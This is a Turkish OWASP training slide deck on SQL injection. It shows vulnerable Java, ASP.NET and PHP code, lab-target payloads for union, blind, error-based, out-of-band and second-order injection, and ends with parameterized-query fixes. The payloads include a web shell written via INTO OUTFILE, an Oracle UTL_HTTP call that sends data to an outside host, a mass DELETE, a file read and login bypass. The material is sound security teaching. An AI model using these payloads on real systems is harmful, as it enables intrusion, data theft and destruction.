Upload
others
View
6
Download
0
Embed Size (px)
Citation preview
Her Yönüyle SQL Enjeksiyonu
OWASP-Türkiye
Bünyamin Demir
Bünyamin Demir ( @bunyamindemir ) – OWASP Türkiye Bölüm Lideri
– Founder & CTO @ Enforsec Ltd. • Sızma Testleri Uzmanı
– Web, Mobil, Network, SCADA, Wireless,
– Sosyal Mühendislik, ATM, DoS/DDoS ve Yük testi
– Kaynak kod analizi
• Eğitmen – Web/Mobil Uygulama Güvenlik Denetimi
– Güvenli Kod Geliştirme
– Veritabanı Güvenliği
2
SQL Enjeksiyonu
3
'
SQL Enjeksiyonu
4
uygulamalara, güvenilir olmayan kaynaklardan gelen girdilerin kontrol edilmeden SQL
sorgusunu oluşturan cümlecik içerisinde kullanılmasından kaynaklanmaktadır.
Zafiyet Barındıran Örnek Uygulamalar
5
Bana … öğrencilerini getir.
Bana 5A öğrencilerini getir.
Bana 5A veya 5B öğrencilerini getir.
Zafiyet Barındıran Örnek Uygulamalar
6
... String className = request.getParameter("class"); String query = "SELECT * FROM students WHERE class = '" + className + "'"; ResultSet rs = stmt.execute(query); ...
... string className = class.Text; string query = "SELECT * FROM students WHERE class = '" + className + "'"; sda = new SqlDataAdapter(query, conn); DataTable dt = new DataTable(); sda.Fill(dt); ...
... $className = $_GET['class']; $query = "SELECT * FROM students WHERE class= '$className'"; $result = mysql_query($query); ....
SQL’in Çalışması
7
SQL Enjeksiyonu Çeşitleri
8
• Genel SQL Enjeksiyonu
• Union Tabanlı (Union Based) SQL Enjeksiyonu
• Hata Tabanlı (Error Based) SQL Enjeksiyonu
• Kör (Blind) SQL Enjeksiyonu
• Zaman Tabanlı (Time Based) SQL Enjeksiyonu
Genel SQL Enjeksiyonu
9
http://www.okul.loc/OgrenciListele.aspx?class=1
SELECT name, lastname , no FROM student WHERE class=‘1’
Genel SQL Enjeksiyonu
10
http://www.okul.loc/OgrenciListele.aspx?class=1' or '1'='1
SELECT name, lastname , no FROM student WHERE class=‘1’ or ‘1’=‘1’
Genel SQL Enjeksiyonu
11
UNION Tabanlı SQL Enjeksiyonu
12
SELECT column1,column2 FROM table1 UNION SELECT column1,column2 FROM table2
“UNION” iki tabloyu birleştirir ve tüm kayıtlar tekil olacak şekilde listeler;
SELECT column1,column2 FROM table1 UNION ALL SELECT column1,column2 FROM table2
“UNION ALL” ise iki tabloyu birleştirir ve tüm kayıtları tekil olmayacak şekilde (aynı kayıttan birden fazla görme ihtimaliniz var) listeler.
UNION Tabanlı SQLi - Tespiti
13
Veritabanı Hata Mesajı
MSSQL All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
Oracle ORA-01789: query block has incorrect number of result columns.
MySQL The used SELECT statements have a different number of columns.
MS Access The number of columns in the two selected tables or queries of a union query do not match.
UNION Tabanlı SQLi - ORDER
14
SELECT * FROM kullanici ORDER BY 1
SELECT * FROM kullanici ORDER BY 2
Veritabanı Hata Mesajı
MSSQL The ORDER BY position number NUM is out of range of the number of items in the select list.
Oracle ORA-01785: ORDER BY item must be the number of a SELECT-list expression.
MySQL Unknown column 'NUM' in 'order clause'.
MS Access Microsoft Jet database engine does not recognize '4' as a valid field name or expression.
UNION Tabanlı SQLi - Tespiti
15
http://www.okul.loc/OgrenciListele.aspx?class=1
UNION Tabanlı SQLi - Tespiti
16
http://www.okul.loc/OgrenciListele.aspx?class=1' UNION SELECT null,null,null,null,null--
UNION Tabanlı SQLi - Tespiti
17
http://www.okul.loc/OgrenciListele.aspx?class=1' UNION SELECT 1,2,'test',null,null--
UNION Tabanlı SQLi - Tespiti
18
http://www.okul.loc/OgrenciListele.aspx?class=1' UNION SELECT 1,2,@@version,null,null—
Hata Tabanlı (Error Based) SQL Enjeksiyonu
19
Hata Tabanlı (Error Based) SQL Enjeksiyonu
20
Hata Tabanlı (Error Based) SQL Enjeksiyonu
21
Hata Tabanlı (Error Based) SQL Enjeksiyonu
22
Hata Tabanlı (Error Based) SQL Enjeksiyonu
23
Kör (Blind) SQL Enjeksiyonu
24
http://www.davshan.loc/friend_info.php?fid=2
SELECT * FROM friends WHERE fid=2
Kör (Blind) SQL Enjeksiyonu
25
http://www.davshan.loc/friend_info.php?fid=2 AND 1=1
http://www.davshan.loc/friend_info.php?fid=2 AND 1=2
SELECT * FROM friends WHERE fid=2 AND 1=1
SELECT * FROM friends WHERE fid=2 AND 1=2
Kör (Blind) SQL Enjeksiyonu
26
... $stmt = $mysqli->prepare("SELECT F.*,U.* FROM users U INNER JOIN friends F ON (F.friend_id=U.user_id) WHERE F.friend_id=$this->friend_id AND F.user_id=? AND F.verify=1"); $stmt->bind_param('i',$this->user_id); $stmt->execute(); ....
Kör (Blind) SQL Enjeksiyonu İstismarı
27
Sorgu Çıktı Yorum
SELECT database() davshan Veritabanı ismi
SELECT SUBSTRING((SELECT database()),1,1) d Veritabanı isminin ilk karakteri
SELECT ASCII(SUBSTRING((SELECT database()),1,1)) 100 Veritabanı isminin ilk karakterinin ASCII değeri
28
http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=97
Kör (Blind) SQL Enjeksiyonu İstismarı
29
http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=98
Kör (Blind) SQL Enjeksiyonu İstismarı
http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=99
http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=100
30
http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),2,1))=97
Kör (Blind) SQL Enjeksiyonu İstismarı
Zaman Tabanlı (Time Based) SQL Enjeksiyonu
31
Farklı SQL İfadelerinde SQLi INSERT Cümleciği
35
Farklı SQL İfadelerinde SQLi INSERT Cümleciği
36
Farklı SQL İfadelerinde SQLi INSERT Cümleciği
37
38
UPDATE CREDITCARD SET NAME='”+name+”' WHERE USERID=1
Farklı SQL İfadelerinde SQLi UPDATE Cümleciği
a'--
UPDATE CREDITCARD SET NAME='a'-- WHERE USERID=1
39
http://www.minishop.loc/creditcard?cmd=delete&cardid=29
Farklı SQL İfadelerinde SQLi DELETE Cümleciği
DELETE FROM CREDITCARD WHERE USERID=1 AND CARDID="+cardid+"
http://www.minishop.loc/creditcard?cmd=delete&cardid=29 or 1=1
DELETE FROM CREDITCARD WHERE USERID=1 AND CARDID=29 or 1=1
40
http://www.davshan.loc/friend_info.php?fid=2
İleri Seviye SQLi İşletim Sistemi
41
…/friend_info.php?fid=2 and 1=2 UNION ALL SELECT 1,2,LOAD_FILE('c:/windows/win.ini'),3,4,5,6--
İleri Seviye SQLi İşletim Sistemi
42
http://www.davshan.loc/friend_info.php?fid=2 and 1=2 UNION ALL SELECT 1,2,3,4,5,6,"<pre><?php passthru($_GET['cmd'])?></pre>" INTO OUTFILE "C:/wamp/www/davshan/cmd.php"--
İleri Seviye SQLi İşletim Sistemi
43
http://www.davshan.loc/cmd.php?cmd=systeminfo
İleri Seviye SQLi İşletim Sistemi
44
SELECT UTL_HTTP.REQUEST('http://www.bunyamindemir.com/') FROM dual
İleri Seviye SQLi Kanal Dışı
/product?pid=1 or 1=UTL_HTTP.REQUEST('http://www.bunyamindemir.com/oracle/'||(select user from dual))--
171.42.19.32 - - [07/Sep/2012:00:39:54 +0300] "GET /oracle/minishop HTTP/1.1" 404 - "-"
45
abc;DELETE FROM teslimat--
İleri Seviye SQLi İkinci Kademe
46
public Users login (String username, String password) {
Users user = new Users(); ....
ResultSet rs = stmt.executeQuery("SELECT * FROM users WHERE username='"+username+"' and password='"+password+"'");
while (rs.next()) { user = new Users(rs.getInt("userId"),UserType.USER,rs.getString("username")); }
.... return user; }
Fonksiyonaliteye SQLi ile Saldırı Login Sayfası
47
SELECT * FROM users WHERE username='a' or '1'='1'--' and password='xx'
Fonksiyonaliteye SQLi ile Saldırı Login Sayfası
48
SELECT * FROM users WHERE username='a' or '1'='1' and rownum=1--' and password='xx'
Fonksiyonaliteye SQLi ile Saldırı Login Sayfası
49
SELECT email, password FROM users WHERE email = '[email protected]'
Fonksiyonaliteye SQLi ile Saldırı Login Sayfası
a';UPDATE users SET email = '[email protected]' WHERE email = [email protected]
SELECT email, password FROM users WHERE email = 'a';UPDATE users SET email = '[email protected]' WHERE email = '[email protected]'
50
SELECT email, password FROM users WHERE email = '[email protected]'
Fonksiyonaliteye SQLi ile Saldırı Login Sayfası
[email protected]' UNION SELECT '[email protected]',password from users--
SELECT email, password FROM users WHERE email = '[email protected]' UNION SELECT '[email protected]', password from users
51
python sqlmap.py -u "http://www.minishop.loc/product?pid=1" -f --banner
Sqlmap
52
... String className = request.getParameter("class"); PreparedStatement psmt = conn.prepareStatement("SELECT * FROM students WHERE class=?"); psmt.setString(1, className); ResultSet rs = psmt.executeQuery(); ...
SQLi Çözümü - Java
53
... string className = class.Text; SqlCommand query = new SqlCommand("SELECT * FROM students WHERE class=@clsName", conn); query.Parameters.AddWithValue("@clsName", className);
sda = new SqlDataAdapter(query); DataTable dt = new DataTable(); sda.Fill(dt); ...
SQLi Çözümü – ASP.NET
54
... $className = $_GET['class']; $stmt = $mysqli->prepare("SELECT * FROM students WHERE class=?"); $stmt->bind_param('s',$classNames); $stmt->execute(); ....
SQLi Çözümü - PHP